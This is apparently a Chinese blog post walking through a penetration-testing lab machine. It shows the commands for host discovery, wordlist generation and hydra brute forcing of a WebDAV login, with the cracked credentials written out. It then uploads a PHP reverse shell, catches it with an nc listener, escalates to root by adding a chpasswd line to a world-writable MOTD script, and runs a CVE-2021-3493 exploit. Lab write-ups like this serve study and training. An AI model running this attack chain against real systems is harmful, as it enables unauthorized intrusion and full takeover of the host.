当前位置:网站首页>网络安全之渗透靶场实战详解
网络安全之渗透靶场实战详解
2022-04-23 16:45:00 【InfoQ】
0x00 环境配置
0x01 主机发现/端口扫描
arp-scan -l
nmap -sV -sC -p- 192.168.26.131
0x02 信息收集
dirsearch --url http://192.168.26.131
0x03 密码字典定制
cewl http://192.168.26.131 -w 192.168.26.131dict.txt
0x04 hydra密码爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v
成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg
通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
cp /usr/share/webshells/php/php-reverse-shell.php . #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php
通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。
nc -lnvp 4444 #kali监听4444端口
http://192.168.26.131/webdav/rev.php #访问该链接触发执行反弹shell的代码
python3 -c "import pty;pty.spawn('/bin/bash')" #升级优化一下shell
0x06 MOTD注入提权
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null
chitragupt
ssh [email protected]
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
0x07 CVE-2021-3493提权:
scp exploit.c [email protected]:/home/inferno #将exp上传到靶机
gcc exploit.c -o exploit #尝试编译exploit.c 并将编译好的文件命名为exploit
chmod +x exploit #给exploit赋予执行权限
./exploit #执行exp
版权声明
本文为[InfoQ]所创,转载请带上原文链接,感谢
https://xie.infoq.cn/article/30ebf9633fca128a01ec2c0ec
边栏推荐
- 05 Lua 控制结构
- loggie 源码分析 source file 模块主干分析
- Regular filtering of Intranet addresses and segments
- 各大框架都在使用的Unsafe类,到底有多神奇?
- Postman batch production body information (realize batch modification of data)
- 04 Lua operator
- ◰ GL shader handler encapsulation
- PHP 零基础入门笔记(13):数组相关函数
- 拷贝构造函数 浅拷贝与深拷贝
- How much do you know about the process of the interview
猜你喜欢
STM32__03—初识定时器
深度学习100例 | 第41天-卷积神经网络(CNN):UrbanSound8K音频分类(语音识别)
Easyexcel reads the geographical location data in the excel table and sorts them according to Chinese pinyin
PyMySQL
Gartner 發布新興技術研究:深入洞悉元宇宙
Install MySQL on MAC
Derivation of Σ GL perspective projection matrix
英语 | Day15、16 x 句句真研每日一句(从句断开、修饰)
1959年高考数学真题
Quick install mongodb
随机推荐
Pytorch: the pit between train mode and eval mode
5分钟NLP:Text-To-Text Transfer Transformer (T5)统一的文本到文本任务模型
Solution of garbled code on idea console
织梦DEDECMS安全设置指南
Construction of promtail + Loki + grafana log monitoring system
Install MySQL on MAC
基于GPU实例的Nanopore数据预处理
05 Lua control structure
05 Lua 控制结构
100 deep learning cases | day 41 - convolutional neural network (CNN): urbansound 8K audio classification (speech recognition)
loggie 源码分析 source file 模块主干分析
◰ GL shadow map core steps
聊一聊浏览器缓存控制
MySQL personal learning summary
Findstr is not an internal or external command workaround
Use if else to judge in sail software - use the title condition to judge
MySQL master-slave replication
Regular filtering of Intranet addresses and segments
ACL 2022 | DialogVED:用于对话回复生成的预训练隐变量编码-解码模型
Modify the test case name generated by DDT